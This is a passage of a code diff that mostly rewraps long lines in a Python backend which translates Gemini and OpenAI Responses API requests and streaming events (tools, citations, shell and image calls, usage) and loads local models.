+ _remote_image_count + >= _GEMINI_REMOTE_IMAGE_MAX_COUNT + ): logger.info( "Gemini inlineData: per-request count cap %d reached, dropping image", _GEMINI_REMOTE_IMAGE_MAX_COUNT, @@ -3130,7 +3271,8 @@ class ExternalProviderClient: _guessed, _ = mimetypes.guess_type(_img_path) _media_type = ( _guessed - if isinstance(_guessed, str) and _guessed.startswith("image/") + if isinstance(_guessed, str) + and _guessed.startswith("image/") else "image/jpeg" ) if _is_youtube: @@ -3163,7 +3305,8 @@ class ExternalProviderClient: # budget is spent; pass the remainder so # over-budget URLs reject on Content-Length. _remaining_bytes = ( - _GEMINI_REMOTE_IMAGE_MAX_TOTAL_BYTES - _remote_image_total_bytes + _GEMINI_REMOTE_IMAGE_MAX_TOTAL_BYTES + - _remote_image_total_bytes ) if _remaining_bytes <= 0: logger.info( @@ -3208,7 +3351,9 @@ class ExternalProviderClient: if isinstance(_msg_extra, dict): _msg_g = _msg_extra.get("google") or {} if isinstance(_msg_g, dict): - _msg_sig = _msg_g.get("thought_signature") or _msg_g.get("thoughtSignature") + _msg_sig = _msg_g.get("thought_signature") or _msg_g.get( + "thoughtSignature" + ) if isinstance(_msg_sig, str) and _msg_sig: for _idx in range(len(parts) - 1, -1, -1): if "text" in parts[_idx]: @@ -3279,7 +3424,9 @@ class ExternalProviderClient: and isinstance(args, dict) and ( args.get("_server_tool") is True - or isinstance((args.get("google") or {}).get("native_part"), dict) + or isinstance( + (args.get("google") or {}).get("native_part"), dict + ) ) ) if _is_synthetic_server_builtin and not ( @@ -3319,9 +3466,9 @@ class ExternalProviderClient: # thoughtSignature only when one subpart exists; for # code+result, prefer executableCode and drop the # signature elsewhere. - _legacy_sig = _native_part.get("thoughtSignature") or _native_part.get( - "thought_signature" - ) + _legacy_sig = _native_part.get( + "thoughtSignature" + ) or _native_part.get("thought_signature") _legacy_subparts = [ _k for _k in ( @@ -3451,7 +3598,9 @@ class ExternalProviderClient: body: dict[str, Any] = {"contents": contents} if system_text_parts: - body["systemInstruction"] = {"parts": [{"text": "\n\n".join(system_text_parts)}]} + body["systemInstruction"] = { + "parts": [{"text": "\n\n".join(system_text_parts)}] + } # Generation config -- temperature / topP / topK / maxOutputTokens map # straight across. The frontend capability matrix restricts the sliders @@ -3488,12 +3637,16 @@ class ExternalProviderClient: and isinstance(tool_choice.get("function"), dict) and bool(tool_choice["function"].get("name")) ) - _hosted_builtins_allowed = not _tool_choice_disabled and not _tool_choice_forced_function + _hosted_builtins_allowed = ( + not _tool_choice_disabled and not _tool_choice_forced_function + ) # Image-tier models reject text-only tools and thinkingConfig regardless # of the pill (model-level constraint); the pill only controls image # output. Decouple the two so Images-off + Code/Search-on doesn't 400. image_tool_requested = bool( - _hosted_builtins_allowed and enabled_tools and "image_generation" in enabled_tools + _hosted_builtins_allowed + and enabled_tools + and "image_generation" in enabled_tools ) # Strict tool / thinking strip uses the model-id check. is_image_model_strict = is_image_picker_model @@ -3525,10 +3678,13 @@ class ExternalProviderClient: "gemini-pro-latest", ) _PRO_THINKING_PREFIXES = ("gemini-2.5-pro",) - is_gemini3_thinking = any(model_lc.startswith(p) for p in _GEMINI3_THINKING_PREFIXES) + is_gemini3_thinking = any( + model_lc.startswith(p) for p in _GEMINI3_THINKING_PREFIXES + ) is_gemini3_pro = any(model_lc.startswith(p) for p in _GEMINI3_PRO_PREFIXES) _is_pro_thinking_only = any( - model_lc == p or model_lc.startswith(p + "-") for p in _PRO_THINKING_PREFIXES + model_lc == p or model_lc.startswith(p + "-") + for p in _PRO_THINKING_PREFIXES ) effort_lc = (reasoning_effort or "").strip().lower() if not is_image_model_strict and is_gemini3_thinking: @@ -3605,7 +3761,8 @@ class ExternalProviderClient: ) google_search_allowed = ( - not is_image_model_strict or _gemini_image_model_allows_google_search(model_lc) + not is_image_model_strict + or _gemini_image_model_allows_google_search(model_lc) ) code_execution_allowed = not is_image_model_strict text_tools_allowed = not is_image_model_strict @@ -3658,7 +3815,9 @@ class ExternalProviderClient: } ) - def _resolve_local_schema_ref(root: Optional[dict[str, Any]], ref: str) -> Optional[Any]: + def _resolve_local_schema_ref( + root: Optional[dict[str, Any]], ref: str + ) -> Optional[Any]: # Walk a `#/foo/bar` JSON pointer against the schema root. Returns # None if the pointer doesn't resolve to a dict, so the caller can # fall back to the unresolved node. @@ -3701,7 +3860,9 @@ class ExternalProviderClient: **_target, **{k: v for k, v in node.items() if k != "$ref"}, } - return _sanitize_gemini_schema(_merged, root, _seen_refs | {_ref}) + return _sanitize_gemini_schema( + _merged, root, _seen_refs | {_ref} + ) cleaned: dict[str, Any] = {} _nullable_from_union = False _flattened_type: Optional[str] = None @@ -3717,7 +3878,9 @@ class ExternalProviderClient: # Preserve multi-type unions as anyOf; flattening to the # first non-null type silently drops the other branches # and changes the tool contract. - _union_any_of = [{"type": _t} for _t in _non_null if isinstance(_t, str)] + _union_any_of = [ + {"type": _t} for _t in _non_null if isinstance(_t, str) + ] for _k, _v in node.items(): if _k == "type" and isinstance(_v, list): # Handled below via _flattened_type. @@ -3746,10 +3909,15 @@ class ExternalProviderClient: _non_null_entries = [ _entry for _entry in _v - if not (isinstance(_entry, dict) and _entry.get("type") == "null") + if not ( + isinstance(_entry, dict) + and _entry.get("type") == "null" + ) ] if len(_non_null_entries) == 1 and _saw_null: - _inner = _sanitize_gemini_schema(_non_null_entries[0], root, _seen_refs) + _inner = _sanitize_gemini_schema( + _non_null_entries[0], root, _seen_refs + ) if isinstance(_inner, dict): for _ik, _iv in _inner.items(): cleaned.setdefault(_ik, _iv) @@ -3768,7 +3936,8 @@ class ExternalProviderClient: cleaned[_k] = _v if _union_any_of is not None and "anyOf" not in cleaned: cleaned["anyOf"] = [ - _sanitize_gemini_schema(_s, root, _seen_refs) for _s in _union_any_of + _sanitize_gemini_schema(_s, root, _seen_refs) + for _s in _union_any_of ] elif _flattened_type is not None: cleaned["type"] = _flattened_type @@ -3810,7 +3979,9 @@ class ExternalProviderClient: _mode = "NONE" elif _tc_lc in ("required", "any"): _mode = "ANY" - elif isinstance(tool_choice, dict) and tool_choice.get("type") == "function": + elif ( + isinstance(tool_choice, dict) and tool_choice.get("type") == "function" + ): _fn_pick = tool_choice.get("function") or {} _name = _fn_pick.get("name") if isinstance(_fn_pick, dict) else None if isinstance(_name, str) and _name: @@ -3860,7 +4031,9 @@ class ExternalProviderClient: } return f"data: {_json.dumps(chunk)}" - def _text_chunk(text: str, extra_content: Optional[dict[str, Any]] = None) -> str: + def _text_chunk( + text: str, extra_content: Optional[dict[str, Any]] = None + ) -> str: delta: dict[str, Any] = {"content": text} if extra_content: delta["extra_content"] = extra_content @@ -3942,7 +4115,9 @@ class ExternalProviderClient: response.status_code, error_text[:500], ) - yield _error_sse_line(response.status_code, error_text, self.provider_type) + yield _error_sse_line( + response.status_code, error_text, self.provider_type + ) return if web_search_active: @@ -3995,7 +4170,9 @@ class ExternalProviderClient: # promptFeedback.blockReason): surface as an error so the # client doesn't see an empty successful response. prompt_feedback = event.get("promptFeedback") - if isinstance(prompt_feedback, dict) and prompt_feedback.get("blockReason"): + if isinstance(prompt_feedback, dict) and prompt_feedback.get( + "blockReason" + ): block_reason = str(prompt_feedback.get("blockReason")) # Close out the synthetic web_search start so the UI # doesn't show a spinner stuck on "searching..." @@ -4046,7 +4223,9 @@ class ExternalProviderClient: u = web.get("uri") or "" if not u or not isinstance(u, str): continue - if any(c["url"] == u for c in web_search_citations): + if any( + c["url"] == u for c in web_search_citations + ): continue web_search_citations.append( { @@ -4058,7 +4237,9 @@ class ExternalProviderClient: content_obj = cand.get("content") or {} parts = ( - content_obj.get("parts") if isinstance(content_obj, dict) else None + content_obj.get("parts") + if isinstance(content_obj, dict) + else None ) if isinstance(parts, list): for part in parts: @@ -4097,7 +4278,10 @@ class ExternalProviderClient: if isinstance(fc, dict): fc_name = fc.get("name") or "" fc_args = fc.get("args") or {} - fc_id = fc.get("id") or f"call_{fc_name}_{time.time_ns()}" + fc_id = ( + fc.get("id") + or f"call_{fc_name}_{time.time_ns()}" + ) if fc_id in emitted_function_call_ids: continue emitted_function_call_ids.add(fc_id) @@ -4117,9 +4301,9 @@ class ExternalProviderClient: # Gemini 3 requires the part-level # thoughtSignature echoed next turn; stow # it on extra_content.google for replay. - thought_sig = part.get("thoughtSignature") or part.get( - "thought_signature" - ) + thought_sig = part.get( + "thoughtSignature" + ) or part.get("thought_signature") if isinstance(thought_sig, str) and thought_sig: tool_call_delta["extra_content"] = { "google": { @@ -4133,7 +4317,9 @@ class ExternalProviderClient: "choices": [ { "index": 0, - "delta": {"tool_calls": [tool_call_delta]}, + "delta": { + "tool_calls": [tool_call_delta] + }, "finish_reason": None, } ], @@ -4188,7 +4374,9 @@ class ExternalProviderClient: "kind": "code_execution", "language": ( ( - exec_code.get("language") + exec_code.get( + "language" + ) or "PYTHON" ).lower() ), @@ -4209,7 +4397,9 @@ class ExternalProviderClient: # outcomes as stderr so the UI surfaces # the error. if outcome and outcome != "OUTCOME_OK": - result_text = f"[{outcome}]\n{output}".rstrip() + result_text = ( + f"[{outcome}]\n{output}".rstrip() + ) else: result_text = output # Pair tool_end with the most recent @@ -4275,7 +4465,8 @@ class ExternalProviderClient: not is_image_model and last_code_exec_tool_id is not None and bool(enabled_tools) - and "code_execution" in (enabled_tools or []) + and "code_execution" + in (enabled_tools or []) ) if attached_to_code_exec: updated_result = ( @@ -4299,22 +4490,28 @@ class ExternalProviderClient: isinstance(_plot_thought_sig, str) and _plot_thought_sig ): - _plot_part_entry["thoughtSignature"] = ( - _plot_thought_sig - ) + _plot_part_entry[ + "thoughtSignature" + ] = _plot_thought_sig yield _emit_tool_event( { "type": "tool_end", - "tool_call_id": (last_code_exec_tool_id), + "tool_call_id": ( + last_code_exec_tool_id + ), "result": updated_result, "google": { "native_part": { - "parts": [_plot_part_entry], + "parts": [ + _plot_part_entry + ], }, }, } ) - last_code_exec_result_text = updated_result + last_code_exec_result_text = ( + updated_result + ) else: img_id = f"img_{time.time_ns()}" yield _emit_tool_event( @@ -4354,9 +4551,9 @@ class ExternalProviderClient: isinstance(_img_thought_sig, str) and _img_thought_sig ): - _img_part_entry["thoughtSignature"] = ( - _img_thought_sig - ) + _img_part_entry[ + "thoughtSignature" + ] = _img_thought_sig _img_native: dict[str, Any] = { "parts": [_img_part_entry], } @@ -4380,7 +4577,11 @@ class ExternalProviderClient: # End-of-stream order: web_search tool_end -> finish_reason -> # usage -> [DONE], matching the Anthropic/OpenAI helpers. - if web_search_active and web_search_tool_started and not web_search_tool_ended: + if ( + web_search_active + and web_search_tool_started + and not web_search_tool_ended + ): blocks: list[str] = [] for cit in web_search_citations: line_out = f"Title: {cit['title']}\nURL: {cit['url']}" @@ -4392,7 +4593,9 @@ class ExternalProviderClient: "type": "tool_end", "tool_call_id": web_search_tool_id, "result": ( - "\n---\n".join(blocks) if blocks else "(search complete)" + "\n---\n".join(blocks) + if blocks + else "(search complete)" ), } ) @@ -4426,19 +4629,25 @@ class ExternalProviderClient: # Gemini bills tool-call prompt slices separately via # `toolUsePromptTokenCount`. Fold into input so # total_tokens doesn't undercount tool turns. - tool_use_prompt_tokens = last_usage.get("toolUsePromptTokenCount") or 0 + tool_use_prompt_tokens = ( + last_usage.get("toolUsePromptTokenCount") or 0 + ) translated_usage = { "input_tokens": prompt_tokens + tool_use_prompt_tokens, "output_tokens": candidate_tokens + thought_tokens, "input_tokens_details": { - "cached_tokens": (last_usage.get("cachedContentTokenCount") or 0), + "cached_tokens": ( + last_usage.get("cachedContentTokenCount") or 0 + ), "tool_use_prompt_tokens": tool_use_prompt_tokens, }, "output_tokens_details": { "reasoning_tokens": thought_tokens, }, } - usage_line = _build_usage_chunk(completion_id, "openai", translated_usage) + usage_line = _build_usage_chunk( + completion_id, "openai", translated_usage + ) if usage_line: yield usage_line @@ -4608,9 +4817,13 @@ class ExternalProviderClient: elif _pt == "image_url": _u = _part.get("image_url", {}).get("url", "") if _u: - _asst_parts.append({"type": "input_image", "image_url": _u}) + _asst_parts.append( + {"type": "input_image", "image_url": _u} + ) if _asst_parts: - input_items.append({"role": "assistant", "content": _asst_parts}) + input_items.append( + {"role": "assistant", "content": _asst_parts} + ) for _tc in _tool_calls: if not isinstance(_tc, dict): @@ -4636,7 +4849,9 @@ class ExternalProviderClient: _is_server_builtin = True else: _g = _args_obj.get("google") - if isinstance(_g, dict) and isinstance(_g.get("native_part"), dict): + if isinstance(_g, dict) and isinstance( + _g.get("native_part"), dict + ): _is_server_builtin = True _call_id_out = _tc.get("id") or f"call_{time.time_ns()}" if _is_server_builtin: @@ -4672,7 +4887,9 @@ class ExternalProviderClient: if url: # Responses takes image_url as a flat string (both # https:// URLs and data: URLs are accepted). - translated_parts.append({"type": "input_image", "image_url": url}) + translated_parts.append( + {"type": "input_image", "image_url": url} + ) elif ( part_type == "reasoning" and role == "assistant" @@ -4830,7 +5047,11 @@ class ExternalProviderClient: # Server-side context compaction (OpenAI cloud only). # https://developers.openai.com/api/docs/guides/compaction - if is_openai_cloud and compaction_threshold is not None and compaction_threshold > 0: + if ( + is_openai_cloud + and compaction_threshold is not None + and compaction_threshold > 0 + ): body["context_management"] = [ { "type": "compaction", @@ -4906,10 +5127,13 @@ class ExternalProviderClient: and bool(tool_choice["function"].get("name")) ) _responses_hosted_builtins_allowed = ( - not _responses_tool_choice_none and not _responses_tool_choice_forced_function + not _responses_tool_choice_none + and not _responses_tool_choice_forced_function ) - if (enabled_tools or responses_user_function_tools) and not _responses_tool_choice_none: + if ( + enabled_tools or responses_user_function_tools + ) and not _responses_tool_choice_none: tools_array: list[dict[str, Any]] = list(responses_user_function_tools) if ( _responses_hosted_builtins_allowed @@ -4948,8 +5172,12 @@ class ExternalProviderClient: dict so the retry doesn't share state with the first attempt. """ attempt_body = dict(body) - if (enabled_tools or responses_user_function_tools) and not _responses_tool_choice_none: - tools_array_attempt: list[dict[str, Any]] = list(responses_user_function_tools) + if ( + enabled_tools or responses_user_function_tools + ) and not _responses_tool_choice_none: + tools_array_attempt: list[dict[str, Any]] = list( + responses_user_function_tools + ) if ( _responses_hosted_builtins_allowed and enabled_tools @@ -4964,8 +5192,13 @@ class ExternalProviderClient: } else: env_attempt = {"type": "container_auto"} - tools_array_attempt.append({"type": "shell", "environment": env_attempt}) - if _responses_hosted_builtins_allowed and image_generation_enabled_openai: + tools_array_attempt.append( + {"type": "shell", "environment": env_attempt} + ) + if ( + _responses_hosted_builtins_allowed + and image_generation_enabled_openai + ): tools_array_attempt.append(_openai_image_generation_tool()) if tools_array_attempt: attempt_body["tools"] = tools_array_attempt @@ -5021,7 +5254,9 @@ class ExternalProviderClient: retried = True attempt_container_id = None continue - yield _error_sse_line(response.status_code, error_text, self.provider_type) + yield _error_sse_line( + response.status_code, error_text, self.provider_type + ) return # NOTE: same manual __anext__ loop as stream_chat_completion — @@ -5117,7 +5352,9 @@ class ExternalProviderClient: # Unterminated: drop the whole tail, else the residual # ``cite`` would leak as plain text. return "" - rendered = _replace_openai_citation_markers(tail, all_url_citations) + rendered = _replace_openai_citation_markers( + tail, all_url_citations + ) # Scrub residual private-use bytes (e.g. a partial opener). for ch in ("", "", ""): rendered = rendered.replace(ch, "") @@ -5170,7 +5407,11 @@ class ExternalProviderClient: chunk_parts.append("(timeout)") if chunk_parts: parts.append("\n".join(chunk_parts)) - return "\n--- next command ---\n".join(parts) if parts else "(no output)" + return ( + "\n--- next command ---\n".join(parts) + if parts + else "(no output)" + ) def _record_url_citation(payload: dict[str, Any]) -> None: """Append a url_citation, deduped by URL: collect every @@ -5234,11 +5475,17 @@ class ExternalProviderClient: return existing summary_text = "" part = payload.get("part") - if isinstance(part, dict) and part.get("type") == "summary_text": + if ( + isinstance(part, dict) + and part.get("type") == "summary_text" + ): text = part.get("text") if isinstance(text, str): summary_text = text - elif payload.get("type") == "response.reasoning_summary_text.done": + elif ( + payload.get("type") + == "response.reasoning_summary_text.done" + ): text = payload.get("text") if isinstance(text, str): summary_text = text @@ -5250,9 +5497,14 @@ class ExternalProviderClient: "type": "summary_text", "text": summary_text, } - if isinstance(summary_index, int) and summary_index >= 0: + if ( + isinstance(summary_index, int) + and summary_index >= 0 + ): while len(summary) <= summary_index: - summary.append({"type": "summary_text", "text": ""}) + summary.append( + {"type": "summary_text", "text": ""} + ) summary[summary_index] = summary_part else: summary.append(summary_part) @@ -5267,7 +5519,9 @@ class ExternalProviderClient: if current_openai_response_id: arguments["openai_response_id"] = current_openai_response_id if last_openai_reasoning_replay_item: - arguments["openai_reasoning_item"] = last_openai_reasoning_replay_item + arguments["openai_reasoning_item"] = ( + last_openai_reasoning_replay_item + ) return arguments def _extract_reasoning_text(payload: Any) -> str: @@ -5326,7 +5580,9 @@ class ExternalProviderClient: # Flush any held-over partial marker; strip # private-use bytes so garbled glyphs don't leak. if pending_marker_tail: - flushed = _flush_pending_marker_tail(pending_marker_tail) + flushed = _flush_pending_marker_tail( + pending_marker_tail + ) pending_marker_tail = "" if flushed: if reasoning_open: @@ -5369,8 +5625,8 @@ class ExternalProviderClient: # Prepend any held-over tail so a marker # straddling two SSE events resolves cleanly. combined = pending_marker_tail + delta_text - head, pending_marker_tail = _split_pending_citation_tail( - combined + head, pending_marker_tail = ( + _split_pending_citation_tail(combined) ) if head: if reasoning_open: @@ -5392,7 +5648,9 @@ class ExternalProviderClient: ) ) if has_unresolved or pending_citation_segments: - pending_citation_segments.append(head_rewritten) + pending_citation_segments.append( + head_rewritten + ) elif head_rewritten: yield _chunk_with_text(head_rewritten) @@ -5411,14 +5669,24 @@ class ExternalProviderClient: elif event_type == "response.output_item.added": item = event.get("item", {}) - if isinstance(item, dict) and item.get("type") == "web_search_call": - item_id = item.get("id", "") or (f"ws_{len(web_search_calls)}") + if ( + isinstance(item, dict) + and item.get("type") == "web_search_call" + ): + item_id = item.get("id", "") or ( + f"ws_{len(web_search_calls)}" + ) web_search_calls.setdefault(item_id, {"query": ""}) # Register shell_call eagerly so out-of-order # output links back. Probe env.container_id to # emit container_ready before response.completed. - if isinstance(item, dict) and item.get("type") == "shell_call": - item_id = item.get("id", "") or (f"sc_{len(shell_calls)}") + if ( + isinstance(item, dict) + and item.get("type") == "shell_call" + ): + item_id = item.get("id", "") or ( + f"sc_{len(shell_calls)}" + ) shell_calls.setdefault( item_id, {"commands": [], "output": None}, @@ -5460,7 +5728,9 @@ class ExternalProviderClient: last_openai_reasoning_replay_item = ( _record_openai_reasoning_replay_item(item) ) - summary_text = _extract_reasoning_text(item.get("summary")) + summary_text = _extract_reasoning_text( + item.get("summary") + ) if summary_text and not reasoning_emitted: if not reasoning_open: summary_text = f"{summary_text}" @@ -5472,10 +5742,14 @@ class ExternalProviderClient: # tool_end here. Citations are aggregated and # the last call's result is overwritten at # response.completed. - item_id = item.get("id", "") or (f"ws_{len(web_search_calls)}") + item_id = item.get("id", "") or ( + f"ws_{len(web_search_calls)}" + ) action = item.get("action") query = ( - action.get("query", "") if isinstance(action, dict) else "" + action.get("query", "") + if isinstance(action, dict) + else "" ) web_search_calls[item_id] = {"query": query} yield _emit_tool_event( @@ -5483,12 +5757,16 @@ class ExternalProviderClient: "type": "tool_start", "tool_name": "web_search", "tool_call_id": item_id, - "arguments": ({"query": query} if query else {}), + "arguments": ( + {"query": query} if query else {} + ), } ) # Per-card text; last call gets overwritten # with citations at response.completed. - per_call_result = f"Searching: {query}" if query else "" + per_call_result = ( + f"Searching: {query}" if query else "" + ) yield _emit_tool_event( { "type": "tool_end", @@ -5501,10 +5779,14 @@ class ExternalProviderClient: # newline-separated string (the card renderer, # shared with Anthropic bash, wants a single # `command`). - item_id = item.get("id", "") or (f"sc_{len(shell_calls)}") + item_id = item.get("id", "") or ( + f"sc_{len(shell_calls)}" + ) action = item.get("action") or {} commands = ( - action.get("commands") if isinstance(action, dict) else None + action.get("commands") + if isinstance(action, dict) + else None ) or [] joined_command = ( "\n".join(str(c) for c in commands) @@ -5520,7 +5802,9 @@ class ExternalProviderClient: }, ) shell_calls[item_id]["commands"] = ( - list(commands) if isinstance(commands, list) else [] + list(commands) + if isinstance(commands, list) + else [] ) yield _emit_tool_event( { @@ -5536,14 +5820,19 @@ class ExternalProviderClient: # Fallback: output may be bundled on the # shell_call done event itself. embedded_output = item.get("output") - if isinstance(embedded_output, list) and embedded_output: + if ( + isinstance(embedded_output, list) + and embedded_output + ): shell_calls[item_id]["output"] = embedded_output shell_calls[item_id]["tool_end_emitted"] = True yield _emit_tool_event( { "type": "tool_end", "tool_call_id": item_id, - "result": _format_shell_output(embedded_output), + "result": _format_shell_output( + embedded_output + ), } ) elif item.get("type") == "shell_call_output": @@ -5551,11 +5840,15 @@ class ExternalProviderClient: # `id`, used as the tool_call_id on # tool_start. Match on call_id when present so # the matching card transitions to complete. - call_id = item.get("call_id") or item.get("id") or "" + call_id = ( + item.get("call_id") or item.get("id") or "" + ) output = item.get("output") or [] # Skip if bundled-output path already # finalised this card. - if shell_calls.get(call_id, {}).get("tool_end_emitted"): + if shell_calls.get(call_id, {}).get( + "tool_end_emitted" + ): continue if call_id in shell_calls: shell_calls[call_id]["output"] = output @@ -5575,7 +5868,9 @@ class ExternalProviderClient: raw_item_id = item.get("id") item_id = raw_item_id or f"img_{time.time_ns()}" prompt_in = ( - item.get("revised_prompt") or item.get("prompt") or "" + item.get("revised_prompt") + or item.get("prompt") + or "" ) done_arguments = _image_generation_arguments( prompt_in, @@ -5590,7 +5885,9 @@ class ExternalProviderClient: "arguments": done_arguments, } ) - b64 = item.get("result") or item.get("b64_json") or "" + b64 = ( + item.get("result") or item.get("b64_json") or "" + ) output_format = item.get("output_format") or "png" yield _emit_tool_event( { @@ -5640,7 +5937,9 @@ class ExternalProviderClient: "type": "function", "function": { "name": fn_name, - "arguments": (fn_args), + "arguments": ( + fn_args + ), }, } ], @@ -5653,10 +5952,17 @@ class ExternalProviderClient: ) saw_function_call = True - elif isinstance(event_type, str) and "reasoning" in event_type: - recorded_reasoning = _record_openai_reasoning_replay_item(event) + elif ( + isinstance(event_type, str) + and "reasoning" in event_type + ): + recorded_reasoning = ( + _record_openai_reasoning_replay_item(event) + ) if recorded_reasoning: - last_openai_reasoning_replay_item = recorded_reasoning + last_openai_reasoning_replay_item = ( + recorded_reasoning + ) reasoning_delta = _extract_reasoning_text(event) if reasoning_delta: if not reasoning_open: @@ -5666,14 +5972,18 @@ class ExternalProviderClient: reasoning_emitted = True elif event_type == "response.completed": - completed_usage = (event.get("response") or {}).get("usage") + completed_usage = (event.get("response") or {}).get( + "usage" + ) if isinstance(completed_usage, dict): last_usage = completed_usage # Flush any unterminated citation tail; by now all # annotations are recorded, else private-use bytes # are stripped. if pending_marker_tail: - flushed = _flush_pending_marker_tail(pending_marker_tail) + flushed = _flush_pending_marker_tail( + pending_marker_tail + ) pending_marker_tail = "" if flushed: if reasoning_open: @@ -5711,7 +6021,8 @@ class ExternalProviderClient: if ( latched_container_id and not container_id_emitted - and latched_container_id != openai_code_exec_container_id + and latched_container_id + != openai_code_exec_container_id ): yield _emit_tool_event( { @@ -5726,7 +6037,9 @@ class ExternalProviderClient: last_id = list(web_search_calls.keys())[-1] blocks: list[str] = [] for cit in all_url_citations: - line = f"Title: {cit['title']}\nURL: {cit['url']}" + line = ( + f"Title: {cit['title']}\nURL: {cit['url']}" + ) if cit.get("snippet"): line += f"\nSnippet: {cit['snippet']}" blocks.append(line) @@ -5760,7 +6073,9 @@ class ExternalProviderClient: "index": 0, "delta": {}, "finish_reason": ( - "tool_calls" if saw_function_call else "stop" + "tool_calls" + if saw_function_call + else "stop" ), } ], @@ -5778,13 +6093,17 @@ class ExternalProviderClient: yield usage_line elif event_type == "response.incomplete": - incomplete_usage = (event.get("response") or {}).get("usage") + incomplete_usage = (event.get("response") or {}).get( + "usage" + ) if isinstance(incomplete_usage, dict): last_usage = incomplete_usage # Same flush as response.completed -- truncated # streams can leave a half-marker in the buffer. if pending_marker_tail: - flushed = _flush_pending_marker_tail(pending_marker_tail) + flushed = _flush_pending_marker_tail( + pending_marker_tail + ) pending_marker_tail = "" if flushed: if reasoning_open: @@ -5809,7 +6128,9 @@ class ExternalProviderClient: last_id = list(web_search_calls.keys())[-1] blocks = [] for cit in all_url_citations: - line = f"Title: {cit['title']}\nURL: {cit['url']}" + line = ( + f"Title: {cit['title']}\nURL: {cit['url']}" + ) if cit.get("snippet"): line += f"\nSnippet: {cit['snippet']}" blocks.append(line) @@ -5862,7 +6183,9 @@ class ExternalProviderClient: elif event_type in ("response.failed", "error"): # Surface the failure to the client; the outer # route emits [DONE] as part of its cleanup. - error_payload = event.get("response", {}).get("error", {}) or { + error_payload = event.get("response", {}).get( + "error", {} + ) or { "message": event.get("message", "Unknown error"), "code": event.get("code"), } @@ -5878,11 +6201,15 @@ class ExternalProviderClient: raise finally: # Per-turn tool summary for triage. - web_search_requested = bool(enabled_tools and "web_search" in enabled_tools) + web_search_requested = bool( + enabled_tools and "web_search" in enabled_tools + ) web_search_invocations = len(web_search_calls) total_citations = len(all_url_citations) queries = [ - sc["query"] for sc in web_search_calls.values() if sc.get("query") + sc["query"] + for sc in web_search_calls.values() + if sc.get("query") ] # On /v1/responses cached tokens live at # usage.input_tokens_details.cached_tokens (not @@ -5895,7 +6222,9 @@ class ExternalProviderClient: code_execution_requested = code_execution_enabled_openai code_execution_invocations = len(shell_calls) code_execution_results = sum( - 1 for sc in shell_calls.values() if sc.get("output") is not None + 1 + for sc in shell_calls.values() + if sc.get("output") is not None ) logger.info( "OpenAI Responses stream complete (model=%s, " @@ -6037,7 +6366,9 @@ class ExternalProviderClient: if ( isinstance(methods, list) and methods - and not any(m in methods for m in ("generateContent", "streamGenerateContent")) + and not any( + m in methods for m in ("generateContent", "streamGenerateContent") + ) ): continue base_id = entry.get("baseModelId") @@ -6132,11 +6463,17 @@ class ExternalProviderClient: logger.info( "openai_container_list.response count=%s items=%s", len(result), - [{"id": c.get("id"), "status": c.get("status")} for c in result if isinstance(c, dict)], + [ + {"id": c.get("id"), "status": c.get("status")} + for c in result + if isinstance(c, dict) + ], ) return result - async def create_openai_container(self, name: str, ttl_minutes: int) -> dict[str, Any]: + async def create_openai_container( + self, name: str, ttl_minutes: int + ) -> dict[str, Any]: """ POST /v1/containers with ``expires_after.anchor="last_active_at"``. ``ttl_minutes`` is the idle timeout — every API call touching the @@ -6249,7 +6586,9 @@ def _error_sse_line(status_code: int, message: str, provider_type: str) -> str: def _build_usage_chunk( - completion_id: str, provider: Literal["anthropic", "openai"], last_usage: Optional[dict] + completion_id: str, + provider: Literal["anthropic", "openai"], + last_usage: Optional[dict], ) -> Optional[str]: """Build an OpenAI ``include_usage``-style SSE chunk carrying upstream prompt-cache accounting back to the client. diff --git a/studio/backend/core/inference/inference.py b/studio/backend/core/inference/inference.py index 8d262bbb0f..47cae45cb6 100644 --- a/studio/backend/core/inference/inference.py +++ b/studio/backend/core/inference/inference.py @@ -206,7 +206,9 @@ class ReasoningTextIteratorStreamer(TextIteratorStreamer): **decode_kwargs, ): decode_kwargs["skip_special_tokens"] = False - super().__init__(tokenizer, skip_prompt = skip_prompt, timeout = timeout, **decode_kwargs) + super().__init__( + tokenizer, skip_prompt = skip_prompt, timeout = timeout, **decode_kwargs + ) self._normalizer = ReasoningChannelNormalizer(*markers) self._cancel_event = cancel_event self._aborted = False @@ -289,11 +291,17 @@ class InferenceBackend: # Vision models carry the chat_template on the processor, not the inner # tokenizer. Read markers from whichever has one, but resolve ids on the # generation tokenizer, else the vision path misses the turn-end token. - template_source = container if getattr(container, "chat_template", None) else tokenizer + template_source = ( + container if getattr(container, "chat_template", None) else tokenizer + ) try: - turn_end_ids = resolve_chat_turn_end_eos_ids_using(template_source, tokenizer) + turn_end_ids = resolve_chat_turn_end_eos_ids_using( + template_source, tokenizer + ) except Exception as e: # never block a load on eos resolution - logger.warning("Chat turn-end eos resolution failed for %s: %s", model_name, e) + logger.warning( + "Chat turn-end eos resolution failed for %s: %s", model_name, e + ) return info["chat_turn_end_eos_ids"] = turn_end_ids @@ -376,7 +384,9 @@ class InferenceBackend: if config.is_audio: audio_type = config.audio_type adapter_info = " (LoRA adapter)" if config.is_lora else "" - logger.info(f"Loading audio ({audio_type}) model{adapter_info}: {model_name}") + logger.info( + f"Loading audio ({audio_type}) model{adapter_info}: {model_name}" + ) log_gpu_memory(f"Before loading {model_name}") if audio_type == "csm": @@ -410,7 +420,9 @@ class InferenceBackend: from huggingface_hub import snapshot_download local_dir = base_path.split("/")[-1] - repo_path = snapshot_download(base_path, local_dir = local_dir) + repo_path = snapshot_download( + base_path, local_dir = local_dir + ) abs_repo_path = os.path.abspath(repo_path) logger.info( @@ -521,7 +533,9 @@ class InferenceBackend: ) # Reject CPU/disk offload for audio models too - raise_if_offloaded(self.models[model_name]["model"], device_map, "Inference") + raise_if_offloaded( + self.models[model_name]["model"], device_map, "Inference" + ) self.models[model_name]["context_length"] = runtime_context_length( self.models[model_name].get("model"), max_seq_length, @@ -534,7 +548,9 @@ class InferenceBackend: return True model_type = "vision" if config.is_vision else "text" - adapter_info = " (LoRA adapter)" if self.models[model_name]["is_lora"] else "" + adapter_info = ( + " (LoRA adapter)" if self.models[model_name]["is_lora"] else "" + ) logger.info(f"Loading {model_type} model{adapter_info}: {model_name}") log_gpu_memory(f"Before loading {model_name}") @@ -558,10 +574,13 @@ class InferenceBackend: from transformers import ProcessorMixin if not ( - isinstance(processor, ProcessorMixin) or hasattr(processor, "image_processor") + isinstance(processor, ProcessorMixin) + or hasattr(processor, "image_processor") ): # LoRA adapters: use base model. Local merged exports: read base from export_metadata.json. - processor_source = config.base_model if config.is_lora else config.identifier + processor_source = ( + config.base_model if config.is_lora else config.identifier + ) if not 